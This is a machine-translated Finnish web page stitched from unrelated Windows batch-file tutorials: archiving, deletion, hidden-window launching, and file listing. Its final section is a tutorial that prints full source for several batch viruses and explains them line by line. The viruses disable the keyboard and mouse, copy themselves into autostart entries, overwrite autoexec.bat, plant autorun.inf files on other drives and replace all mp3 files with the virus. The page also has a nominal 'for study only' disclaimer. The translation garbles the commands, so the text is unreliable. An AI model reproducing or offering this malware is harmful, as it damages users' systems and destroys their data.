ohjelma" ja määritä polku bat-tiedostoon. Siinä kaikki, käsikirjoitus käynnistetään sovittuna aikana.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-16.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-17.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-18.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-19.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-20.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Ja lopuksi vielä yksi mielenkiintoinen kohta. Kun suoritat bat-tiedoston, näyttöön tulee komentorivi-ikkuna, vaikka vain sekunnin murto-osan ajaksi. Onko mahdollista saada komentosarja toimimaan piilotilassa? Se on mahdollista ja monella tapaa. Yksinkertaisin on seuraava. Luo bat-tiedostolle pikakuvake, avaa sen ominaisuudet ja valitse "Ikkuna"-valikosta "Kutsuttu kuvakkeeseen". Tämän jälkeen ainoa näkyvä merkki skriptin käynnissä olemisesta on CMD-kuvakkeen ilmestyminen tehtäväpalkkiin, mutta ikkunoita ei avaudu.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-21.jpg' align="center" height="651" width="510" loading=lazy loading=lazy></p> <p>Jos haluat piilottaa komentosarjan suorittamisen kokonaan, voit käyttää "saulaa" - VBS-skriptiä, joka käynnistää komentosarjan piilotetussa tilassa. Skripti on alla, tallenna se tiedostoon <b>piilotettu.vbs</b>, joka on aiemmin korvannut polun toisella koodirivillä <i>D:/script.bat</i> polku body-tiedostoosi.</p><p>Aseta WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Aseta WshShell = ei mitään</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-22.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>On myös muita vaihtoehtoja, esimerkiksi apuohjelman käyttö <b>Piilotettu aloitus</b>, jonka avulla voit ajaa suoritettavia tiedostoja ja erätiedostoja piilotilassa, myös ilman kutsua.</p> <p>Ja siinä kaikki toistaiseksi. Tietoa BAT-skriptien luomisesta löytyy helposti Internetistä. On myös hyvä idea tutustua William Stanekin Microsoft Windows Command Line -opetusohjelmaan. Huolimatta siitä, että kirjan julkaisemisesta on kulunut yli kymmenen vuotta, sen sisältämä tieto on edelleen ajankohtainen.</p> <p>Tässä artikkelissa tarkastelemme sellaista hyödyllistä asiaa kuin " <b>erätiedosto</b>" Määritetään ensin mikä bat-tiedosto on. Erätiedostot ovat yksinkertaisia ​​tekstitiedostoja, jotka sisältävät joukko komentoja ( <i>ohjeet</i>) tulkki ja jolla on laajennus bat tai cmd ( <i>cmd toimii vain NT-perheen käyttöjärjestelmissä</i>). Voit luoda ja muokata tällaisia ​​tiedostoja tavallisella muistilehtiöllä tai millä tahansa muulla tekstieditorilla.</p> <p>Nyt saatat kysyä, miksi sinun täytyy pystyä kirjoittamaan tällaisia ​​lepakkotiedostoja? Ja miksi niitä tarvitaan? Yritän selittää.</p> <p>Ensinnäkin niitä käytetään työnteon helpottamiseksi, ts. esimerkiksi sinun on suoritettava jatkuvasti jokin toimenpide joka päivä ( <i>esimerkiksi luoda arkisto tietyistä asiakirjoista</i>), tämä voidaan automatisoida tekstitiedoston avulla, etkä enää osallistu siihen.</p> <p>Toiseksi nämä erätiedostot ovat erittäin tehokkaita ( <i>jos tietysti osaat kirjoittaa ne</i>), eli Voit jopa kirjoittaa hyvän ohjelman ( <i>Tarkoitan toiminnallisuuden kannalta</i>). Henkilökohtaisesti he auttavat minua paljon työssäni, ja unohdin yksinkertaisesti joitain asioita, kun tein sen manuaalisesti.</p> <p>Siirrytään nyt suoraan näiden erätiedostojen perusteisiin. Kuinka ne luodaan Sinun tarvitsee vain luoda yksinkertainen tekstidokumentti, avata se ja siirtyä välittömästi välilehdelle <i>Tiedosto-> Tallenna nimellä</i>", kirjoita laajennuksen sijaan" <i>Teksti document.txt</i>", esimerkiksi" <i>Teksti document.bat</i>" ja tallenna, joten saamme erätiedoston .bat-tunnisteella, mutta se ei tee vielä mitään.</p> <p>Aluksi annan esimerkin erätiedostosta, jota käytän työssäni asiakirjojen arkistointiin.</p><p>"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agVVVV-mm-dd E:\arhaccounts\ d:\accounts\*.doc "C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agVVVV-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt</p><p>Kerron nyt sinulle hieman, mitä tämä erätiedosto tekee. WinRar käynnistyy, sitten seuraavat Winrar-komennot:</p> <ul><li>a on lisätä arkistoon;</li> <li>-r - käsittelee alikansioita;</li> <li>-dh - avaa jaetut tiedostot;</li> <li>-ed - älä lisää <a href="https://ermake.ru/fi/kak-udalit-pustye-papki-v-vindovs-7-kak-udalit-pustye-papki/">tyhjiä kansioita</a>;</li> <li>VVVV-kk-pp - lisää nykyinen päivämäärä arkiston nimeen ( <i>päivämäärän muoto</i>);</li> <li>E:\arhaccounts\ - polku, johon lopullinen arkisto sijaitsee;</li> <li>d:\accounts\*.doc — arkistoitavien tiedostojen polku ja peite.</li> </ul><p>Tässä tapauksessa arkistoimme kaikkia Word-, Excel- ja tekstitiedostoja, meidän ei tarvitse arkistoida muita. Arkistointimme menee toiselle levylle, ja myös kopioimme tuloksena olevan arkiston toiselle tietokoneelle, jotta arkistot säilytetään toisessa toimistossa. Kopiointi tapahtuu verkon kautta, joten tietokoneen, johon arkisto kopioidaan, on oltava päällä. Voit tehdä tämän käyttämällä seuraavaa komentoa:</p><p>Kopioi E:\arhaccounts\*.rar \\namecomp\arhiv\</p><h2>Esimerkkejä bat-tiedostojen komennoista</h2> <p>Katsotaanpa nyt peruskomentoja, joita voit käyttää.</p> <p>Jos sinun on poistettava tiedosto, kirjoita seuraava:</p><p>Del d:\file\test.doc</p><p>Jos haluat poistaa koko hakemiston, kirjoita:</p><p>Rd d:\tiedosto\</p><p>Jos haluat poistaa kaiken jostain hakemistosta joka kerta, käytä tätä:</p><p>Echo Y| del d:\tiedosto\</p><ul><li>del d:\file\ - tämä on juuri kaikkien tiedostojen poisto;</li> <li>kaiku Y| — komento vahvistaa poiston, koska Jos et anna tätä komentoa, näet poistamisen vahvistavan viestin - "Jatka", ja sinun on vastattava tähän kysymykseen joka kerta.</li> </ul><p>Katsotaanpa nyt monimutkaisempaa esimerkkiä, jossa ehto täyttyy jo:</p><p>@echo off "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test IF EI OLE d:\test\123.rar SIIRRY 1 JOS ON OLEMASSA d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end</p><p>Nyt selitän, että sinun on purettava test.rar-arkisto, joka sisältää monia tiedostoja, mutta jos siellä on 123.rar-tiedosto, se on purettava C-aseman juureen ja loput tiedostot pysyvät koskemattomina samassa hakemistossa.</p> <p>Tätä varten tarvitaan @echo off -komento, jotta mikään ei heijastu näytölle ( <i>periaatteessa, jos sinun ei tarvitse, voit jättää tämän rivin kirjoittamatta</i>). Seuraavaksi käynnistämme Winrarin ja puramme test.rar-arkiston testikansioon. Sitten tulee ehto jos testikansiossa ( <i>pakkauksesta purkamisen jälkeen testi.rar</i>) meillä ei ole tiedostoa 123.rar, niin suoritamme komentotiedoston ja siirrymme riville: 1 ja poistamme sitten tiedoston test.rar, koska se ei ole välttämätöntä, koska Olemme jo purkaneet kaiken tarvitsemamme. Mutta jos siellä on tiedosto 123.rar, komentotiedoston suoritus menee riville: 2, jonka jälkeen tiedosto 123.rar on jo purettu C-aseman juureen. Toisin sanoen ehto täyttyy. , jos tiedosto on, tee tämä, jos tiedostoa ei ole, tee tämä. Oletetaan, että jos emme määritä ehtoa tässä esimerkissä, komentotiedostomme antaa virheen, kun meillä ei ole 123.rar-tiedostoa tässä kansiossa.</p> <p>Katsotaanpa nyt tätä esimerkkiä. Oletetaan, että sinun on siirrettävä tiedostot asemalla D sijaitsevasta hakemistosta flash-asemaan joka kerta. Joka kerta, kun joudut menemään tietokoneeni asemaan D, valitse haluamasi kansio, valitse siitä kaikki tiedostot ja leikkaa se ja siirry sitten flash-asemaan ja liitä se. Runkotiedoston avulla tämä tehdään yhdellä napsautuksella ( <i>yhdellä ehdolla, että joka kerta, kun flash-asema on esimerkiksi levy G tai mikä tahansa sinulla on</i>). Tässä on esimerkki tällaisesta erätiedostosta:</p><p>Siirrä "D:\catalog\*.doc" G:\catalognaflehe\</p><p>Ja kaikki tiedostot doc-tunnisteella, jotka sijaitsevat D:\catalog-hakemistossa, siirretään flash-asemaan. Nyt haluan sanoa, että voit käyttää komentosarjoja erätiedostoissa ( <i>käsikirjoituksia</i>) käyttämällä Windows Scripting Hostia ja tarvittaessa esimerkiksi näyttämään viestin tiedostojen kopioinnin jälkeen ( <i>edellinen esimerkki</i>) liitä tämä:</p><p>Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup("Tiedostot kopioitu"); >> %temp%\mes.js aloita %temp%\mes.js deltree /y %temp%\mes.js</p><p>Itse asiassa runkotiedostojen kirjoittamisesta voi puhua paljon, ja tämä ei tietenkään mahdu yhteen artikkeliin. Tässä näytin vain kirjoittamisessa käytetyt periaatteet <a href="https://ermake.ru/fi/rezervnoe-kopirovanie-ispolzovanie-bat-faila-the-bat-rezervnoe/">bat tiedostot</a> niin sanotusti perusta. Jos haluat tietää lisää komentoja erätiedostojen kirjoittamiseen, voit helposti tarkastella niitä kirjoittamalla ( <i>Käynnistä - Suorita - cmd</i>) help-komento, mutta tietenkään kaikkia komentoja, joita voidaan käyttää erätiedostoissa, ei ole siellä. Onnea BAT-tiedostojen kirjoittamiseen ( <i>body-paidat</i>).</p> <p>Jos haluat avata komentorivin haluamaasi paikkaan (esimerkiksi kansiossa, jossa on tiedostoja), sinun on soitettava <a href="https://ermake.ru/fi/izmenenie-razmera-znachkov-rabochego-stola-windows-10-cherez-kontekstnoe/">kontekstivalikko</a>(RMB) pitämällä Shift-näppäintä painettuna:</p> <p>Opi työskentelemään komentorivin kanssa. Siirrytään komentoihin.</p> <p>Luettelo kaikista konsolin komennoista kuvauksineen löytyy kirjoittamalla konsoliin ohje <br>Apua mihin tahansa komentoon voi saada /? <br>Esimerkiksi: DIR /?</p> <h2>näyttää ohjeen kaikille DIR-komentovaihtoehdoille</h2> <p>Poista väliaikaiset tiedostot ennen kuin sammutat tietokoneen</p> <p>Luulen, että jokainen on ainakin kokenut ne henkilökohtaisesti. Bat-tiedosto auttaa sammuttamaan tietokoneesi oikein poistamalla väliaikaiset tiedostot, kansion, johon virus yleensä ladataan. <a href="https://ermake.ru/fi/zhelezo-dlya-normalnoi-raboty-windows-10-chtoby-byla-polnaya-funkcionalnost/">Kun laite seuraavan kerran käynnistyy (varhaisessa vaiheessa), virus tekee merkintöjä rekisteriin, mikä häiritsee</a> normaalia työtä</p> <p>järjestelmät. Ja kun työpöytä latautuu, tilannetta on vaikeampi korjata.</p> Tietenkään kaikki virukset eivät toimi tämän järjestelmän mukaan, mutta väliaikaisten tiedostojen ja järjestelmän välimuistin tyhjentäminen ennen sen sulkemista vähentää merkittävästi tällaisia ​​​​riskejä. <p>käynnistä / odota "" "C:\Program Files\CCleaner\CCleaner64.exe" /automaattinen käynnistys / odota "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10</p> <p>CCleaner ei ole oletusarvoisesti käytettävissä Windowsissa. Se on asennettava erikseen. Voit ladata asennusohjelman kehittäjän verkkosivustolta.</p> <p>CCleaner-ohjelma käynnistyy ensin ja poistaa kaikki väliaikaiset tiedostot tietokoneelta. Sitten tietokoneen sammutusohjelma käynnistyy 15 sekunnin viiveellä mahdollisten ristiriitojen välttämiseksi CCleanerin toiminnan kanssa.</p> <h2>Tämä esimerkki on kopioitava siihen. Aseta työpöydälle bat-tiedoston pikakuvake, määritä sille kaunis kuvake ja sammuta tietokone tällä pikanäppäimellä.</h2> <p>Hanki luettelo kansion tiedostoista Bat-tiedoston avulla</p> <p>Käytän ajoittain bat-tiedostoja löytääkseni luetteloita kansioissa olevista tiedostoista. Yleinen tilanne: töissä asiakkaat lähettävät valokuvaajan valokuva-arkiston. Valokuvat on nimetty tuoteartikkelien mukaan.</p> <ol> <li>Kuvien mukana ei ole tekstitietoa. Sinun tulee tehdä luettelo lähetettyjen kuvien perusteella ja tuoda se verkkosivuston tuoteluetteloon. Jokaisesta tuotteesta otettiin useita kuvia. Ne on nimetty näin:</li> <li>Kuva tuotteesta artikkelinumerolla A1234 (2).jpg</li> </ol><p>Kuva tuotteesta B1234 (2).jpg</p> Ensin saan luettelon kaikista kansion tiedostoista seuraavalla komennolla: <p>dir *.jpg /B /L > filelist.txt <a href="https://ermake.ru/fi/nadstrochnyi-simvol-html-delaem-v-css-verhnii-registr-verhnii-i-nizhnii/">*.jpg-komento mahdollistaa vain JPG-tiedostojen huomioimisen luetteloa laadittaessa. /B-valitsimen avulla saat luettelon, joka sisältää vain kansiossa olevien tiedostojen nimet. /L-kytkin näyttää kaikki nimet</a>. >filelist.txt-komento luo tekstitiedoston nimeltä filelist ja kirjoittaa tuloksen sinne.</p> <p>Seuraava askel on päästä eroon kaksoiskappaleista, jotta jokaiselle listalle on vain yksi merkintä:</p> kirjoita filelist.txt | findstr /I /V "(2 )" > temp.txt <p>Findstr-komento etsii aiemmin haetun tiedoston. /I-valitsimen avulla voit etsiä tietueita isot ja pienet kirjaimet huomioimatta, ja /V-kytkin tallentaa rivit, jotka eivät sisällä etsimääsi vastaavuutta. Lainausmerkit osoittavat yhdistettävän merkkijonon. Ja viimeinen komento > temp.txt kirjoittaa temp-tiedostoon kaikki tulokset, joiden nimessä ei ole "(2)". Tuloksena saan:</p> <ol><li>Kuva tuotteesta tuotenumerolla A1234.jpg</li> <li>Kuva tuotteesta B1234.jpg</li> </ol> <p>Jos sinun on suoritettava päinvastainen toimenpide - tulos vastaa vain temp.txt-tiedostoa, et löydä tarvitsemaasi komentoluettelosta (findstr /?). On vain käänteinen tarkan vastaavuuden suodatin - /X .</p> <p>Tässä tehtävässä voit käyttää komentoa näyttääksesi rivinumerot /N, joissa on osumia (numerot näytetään rivin mukana):</p> kirjoita filelist.txt | findstr /I /N "(2 )" > temp.txt <p>Pääasia, kun työskentelet <a href="https://ermake.ru/fi/skachat-fail-vstavka-rtf-prakticheskaya-rabota-obrabotka-tekstovoi-informacii/">tekstitietoa</a> (<a href="https://ermake.ru/fi/vindovs-10-sozdat-tekstovyi-dokument-kak-sozdat-fail-s/">tekstitiedostoja</a>) muista yksi kohta:</p> <p>Jos käytät tekstioperaatioissa lähteenä tiedostoa, jota ei ole luotu komentorivin kautta, sen on oltava koodauksessa, jonka komentorivi ymmärtää. Esimerkiksi CP1251 (ANSI).</p> <p>Muussa tapauksessa saatat saada jotain tällaista:</p> <p><img src='https://i1.wp.com/nevor.ru/nvfiles/editor/medium/760_cp1251.jpg' width="100%" loading=lazy loading=lazy></p> <h2>Kopioi hakemistopuu ilman tiedostoja</h2> <p>Kun aloitan uusien projektien tekemisen, on tarve hankkia vanhan projektin kaltainen hakemistopuu sillä erolla, että siinä ei saa olla tiedostoja. Uutta projektia varten on helpompi lisätä 3-5 tiedostoa tarvittaviin tyhjiin kansioihin kuin kopioida olemassa oleva projekti ja poistaa sieltä tarpeettomat.</p> <p>Saada <b>hakemistopuu ilman tiedostoja</b> voidaan tehdä seuraavalla komennolla:</p> xcopy kansio_1 kansio_2 /T /E <p>Komento xcopy ottaa pohjakseen hakemistopuun osoitteessa kansio_1 ja luo siitä kopion kansioon_2. /T-valitsimen avulla voit kopioida hakemistoja kopioimatta niissä olevia tiedostoja. /E-avain määrittää, että kaikki hakemistot on kopioitava, mukaan lukien. tyhjä.</p> <p>Paras tapa hankkia hakemistopuu on avata komentorivi luovuttajahakemiston pääkansiossa ja luoda samaan kansioon hakemisto, johon kopioitu puu sijoitetaan. Tässä tapauksessa komennon tarvitsee määrittää vain luovuttajakansion ja kohdekansion nimet (kuten yllä olevassa esimerkissä).</p> <p>Hei taas, nuori koodaaja-shkoder. Jos luet viimeisen artikkelini nimeltä "DOS-oppiminen", tässä ei ole sinulle mitään monimutkaista. Ja jos et ole lukenut sitä, katso huolellisesti kommentit. Joten aloitetaan. Eräänä päivänä istuin ja ajattelin: eikö minun pitäisi saada virus? Ja koska en tiennyt mitään paitsi QBarsik, ja DOS oli toinen... [Veli], mitä ajattelit, perverssi? :)~. SITTEN päätin kirjoittaa siihen viruksen, ja se ei osoittautunut niin vaikeaksi. <br><br>Tässä on ensimmäisen virukseni ruumis</p> <blockquote><p><b>@kaiku pois <br>rundll32-näppäimistö, poista käytöstä <br>rundll32 hiiri, poista käytöstä <br>kopioi %0 %windir%/system <br>echo run=%windir%/system/*.bat >> win.ini <br>echo run=%windir%/system/*.bat >> system.ini <br>etiketti LOHOLAMMER <br><br>deltree /y c:\autoexec.bat > nul <br>echo autoexec.bat echo OLET LAMMER...xe-xe-xe > c:\autoexec.bat <br>rundll32 hiiri, ota käyttöön <br>rundll32-näppäimistö, ota käyttöön <br>echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup("Varoitus,.. Tietokoneesi on viruksen saastuttama, etkä pääse eroon siitä, hehehehe"); >> %temp%\mes.js <br>aloita %temp%\mes.js <br>deltree /y %temp%\mes.js <br><br>tauko <br>cls</b></p> </blockquote> <p>Selitän sen julkisesti ja askel askeleelta:</p> <blockquote><p>1 @echo off - Estämme DOS-ikkunaa näyttämästä, mitä komentosarja tekee. <br>2 rundll32-näppäimistö,poista käytöstä - Poista näppäimistö käytöstä, jos käyttäjä ymmärtää mitä tapahtuu ja päättää painaa CTRL+C <br>3 rundll32 hiiri,poista käytöstä - Poista myös hiiri käytöstä varmuuden vuoksi. <br>4 kopio %0 %windir%/system - Kopioi windows/system-kansioon <br>// %0 - Alkuperäiseen virustiedostoon osoittava muuttuja <br>// %windir% - muuttuva Masday-kansio. <br>5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Lisää tekstin "run=%windir%/system/*.bat" win.ini-tiedostoon <br>6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Lisää tekstin "run=%windir%/system/*.bat" system.ini-tiedostoon <br>7 etiketti LOHOLAMMER - Muuttaa c:\-aseman nimeksi "LOHOLAMMER" <br>8 jos olemassa c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Tarkista onko tiedosto c:\autoexec.bat ja poista se <br>//Sillä on attribuutit -h -s -a -r <br>9 deltree /y c:\autoexec.bat - Poista tiedosto c:\autoexec.bat. Jos et poista määritteitä, ohjelma ei poista tiedostoa. <br>10 echo autoexec.bat echo OLET LAMMER...xe-xe-xe > c:\autoexec.bat - Lisää teksti "SINÄ OLET LAMMER...xe-xe-xe" <br>//uuteen tiedostoon autoexec.bat <br>11 rundll32 mouse,enable - Kytke se päälle, anna sen ajatella, ettei mitään tapahtunut. <br>12 rundll32-näppäimistö, ota käyttöön - Kytke se päälle, anna sen ajatella, ettei mitään tapahtunut. <br>13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup("Varoitus,.. Tietokoneesi on viruksen saastuttama, etkä pääse eroon siitä, hehehehe"); >> %temp%\mes.js <br>aloita %temp%\mes.js. //Tämä teksti näyttää maski-ikkunan, jossa on merkintä <br>deltree /y %temp%\mes.js //Ja sitten poistaa jäljet ​​itsestään. <br>14 attrib c:\autoexec.bat +h +s +a +r - Piilottaa tiedoston c:\autoexec.bat ja järjestelmätiedoston, jotta lamer ei epäile mitään. <br>15 tauko - Paina mitä tahansa näppäintä (Ei tarvitse painaa, koska vir on jo tehnyt tehtävänsä.) <br>16 cls - Mennään ulos</p> </blockquote> <p>Tämä ohjelma, kun seuraavan kerran käynnistetään uudelleen, ei salli Windowsin käynnistystä ja kirjoittaa "Olet lamer". .Toimii vain Windowsissa 2000 asti.</p> <blockquote><p><b>@kaiku pois <br>rundll32 user,setcursorpos //Poista kohdistin näytöstä vasempaan kulmaan <br>rundll32-näppäimistö,poista käytöstä //Aiemmin <br>rundll32 hiiri,poista käytöstä //Aiemmin <br>rundll32 käyttäjä,swapmousebutton. //Tässä järjestämme hiiren painikkeet uudelleen <br>echo Päivitetään järjestelmäparametreja, odota... //kirjoittaa tekosyyn :) <br>etiketti mp_k //Muuta levyn nimi <br>kopioi mp_k.exe %windir% //Kopioi itsensä Windows-kansioon <br>jos olemassa c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r <br>deltree /y c:\autoexec.bat <br>jos olemassa c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat <br>echo run = %windir%\mp_k.exe >> %windir%\win.ini <br>echo run = %windir%\mp_k.exe >> %windir%\system.ini <br>echo > c:\autorun.inf //Nämä toiminnot ovat edellisessä viruksessa. <br>echo open=c:\autoexec.bat > c:\autorun.inf <br>echo > d:\autorun.inf <br>echo open=c:\autoexec.bat > d:\autorun.inf <br>rundll32 hiiri, ota käyttöön <br>rundll32-näppäimistö, ota käyttöön <br>echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js <br>echo WSHShell.Popup("Varoitus,.. Nyt sinun on käynnistettävä uudelleen"); >> %temp%\mes.js <br>aloita %temp%\mes.js <br>deltree /y %temp%\mes.js <br>attrib c:\autoexec.bat +h +s +a +r <br>attrib %windir%\mp_k.exe +h +s +a +r <br>attrib c:\autorun.inf +h +s +a +r <br>attrib d:\autorun.inf +h +s +a +r <br>deltree /y mp_k.exe <br>rmdir %windir%\temp //Poista temp-kansio <br>mkdir %windir%\temp //Luo temp-kansio <br>cls</b></p> </blockquote> <p>Ja nyt jotain uutta.</p> <blockquote><p>@kaiku pois <br>cls <br>echo Odota, päivitetään järjestelmää... <br>ctty nul. //Tämä on uusi komento, se poistaa tekstin tulostuksen ikkunasta. <br>olemassa %WINDIR%\SYSTEM\VMM32\%0 goto:end //Jos vir on jo käynnistetty, anna sen käynnistyä uudelleen. <br>kopioi %0 %WINDIR%\SYSTEM\VMM32 <br>cd c:\ //Siirry toiseen hakemistoon <br>%%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) kopioi /y %0 %%a // Korvaa kaikki tämän kansion mp3-tiedostot tekstilläsi <br>CD My Music <br><br>cd My_Music <br>//Korvaa kaikki tämän kansion mp3-tiedostot tekstilläsi <br>cd MyMusic <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>CD musiikki <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>CD musiikki <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>cd Mouzon <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>CD MUZ <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>cd mp3 <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Korvaa kaikki tässä kansiossa mp3-tiedostoja omalla tekstilläsi <br>cd d:\ <br>%%a:lle (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) kopioi /y %0 %%a <br>CD My Music <br>%%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a //Sama asia tässä. <br>cd My_Music <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>cd MyMusic <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>CD musiikki <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>CD musiikki <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>cd Mouzon <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>CD MUZ <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>cd mp3 <br>%%a:lle (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) kopioi /y %0 %%a <br>:end //Etiketti <br>aloita /m /w %WINDIR%\SYSTEM\VMM32\%0 //Aloita minimoidussa tilassa <br>ctty con //Ota lupa näyttää tekstiä ikkunassa <br>echo Sano hyvästit MP3-kokoelmallesi:)) Virus //Farewell lines <br>cls //Poistu.</p> </blockquote> <blockquote><p><b>ctty nul //Se tapahtui näin <br>REM Chey† Ђь@uoњPSQRVW <br> ?<br>tЌ <br>"Q_ь№ у¦u= <br>є №є њъ.я?ђ l,ђ /// <br>kopioi %0 *.exe /// <br>kopioi %0 b.com>nul // Tämä tekniikka on otettu toisesta viruksesta. <br>b.com. // Työntekijät sieppaavat nämä kirjoitukset <a href="https://ermake.ru/fi/oshibka-poryadka-zapuska-programmy-1s-pri-sinhronizacii-publikacii/">tällä hetkellä</a> tiedostot ja tuhoaa ne. <br>del b.com. /// Tämä on ACM:n teksti, joka on käännetty exe-tiedostoon <br>rem_^ZY > <br>echo open=c:\autoexec.bat >> c:\autorun.inf //Ja jos se on siellä, tartuta se. <br>jos olemassa d:\io.sys //Levyn saatavuuden tarkistaminen <br>kaiku > <br>echo open=c:\autoexec.bat >> d:\autorun.inf //Ja jos se on siellä, tartuta se. <br>jos olemassa e:\io.sys //Levyn saatavuuden tarkistaminen <br>kaiku > <br>echo open=c:\autoexec.bat >> e:\autorun.inf //Ja jos se on siellä, tartuta se. <br>:end //Merkitse CM:n alku. <br>cls //Poistu</b></p> </blockquote> <p>Millaisia ​​viruksia on olemassa? Ja viruskirjoittajat tekevät kaikkensa saavuttaakseen halutun tuloksen. Tämän dokumentin luettuasi voit itsevarmasti kirjoittaa BAT-viruksen, jopa paremmin kuin minun ;)</p> <p>Artikkelit on kirjoitettu pelkästään virusten algoritmien ja niiden torjuntamenetelmien tutkimiseksi. Virusalgoritmit tunnistettiin purkamalla Internetistä ja Kaspersky Labin verkkosivuilta löytyneet virukset.</p> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </article> </div> <div class="sidebar"> <section class="widget"> <div class="textwidget"> </div> </section> </div> <div class="sidebar"> <section class="widget"><h3 class="widget-title">Toimittajan valinta</h3><ul class="rfpw-dropdown-post"> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/kak-ubrat-kompyutera-istoriyu-prosmotrov-istoriya-brauzera-kak-posmotret/"><img style="width: 30%; border-radius: 0;" src="/uploads/318472be0eb2d0a8c6bd7cd6b0782fc1.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/kak-ubrat-kompyutera-istoriyu-prosmotrov-istoriya-brauzera-kak-posmotret/">Selainhistoria (selainhistorian tarkasteleminen, poistaminen ja palauttaminen)</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Hei rakkaat vierailijat! Kun työskentelemme Internetissä jonkun toisen tietokoneella, jätämme tahattomasti jälkiä. IN...</div> </li> <li class="rfpw-dropdown-content"> <div class="rfpw-image-link"><a href="https://ermake.ru/fi/chto-delat-esli-pole-obekta-ne-obnaruzheno-chto-delat-esli-pole-obekta-ne/"><img style="width: 30%; border-radius: 0;" src="/uploads/0ff2ca9e01bacd4063a818672dfa2da2.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/fi/chto-delat-esli-pole-obekta-ne-obnaruzheno-chto-delat-esli-pole-obekta-ne/">Mitä tehdä, jos "kohdekenttää ei havaita" Kohdekenttää ei havaita, tuotantotoiminta on 